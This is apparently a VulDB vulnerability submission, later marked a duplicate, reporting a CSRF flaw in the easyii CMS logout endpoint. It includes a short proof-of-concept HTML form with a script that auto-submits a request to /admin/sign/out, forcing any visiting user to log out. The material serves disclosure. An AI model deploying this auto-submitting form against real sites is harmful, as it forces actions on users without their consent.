Submeter #189: CSRF in easyii CMS logout

can force logout any user with vulnerable endpoint: http://example.com/admin/sign/out
and automate with auto submit form

<form method='GET' action='http://example.com/admin/sign/out' target="csrf-frame" id="csrf-form">
<input type='hidden' name='criticaltoggle' value='true'>
<input style="display:none;" type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

• Fonte: ⚠️ https://github.com/noumo/easyii/
• Utilizador: rezaduty (UID 10530)
• Submissão: 25/08/2020 17h22 (há 6 anos)
• Moderação: 26/08/2020 09h52 (17 hours later)
• Estado: Duplicado
• Entrada VulDB: 160278 [easyii CMS /admin/sign/out Falsificação de Pedido entre Sites]
• Explicação: duplicate
• Pontos: 0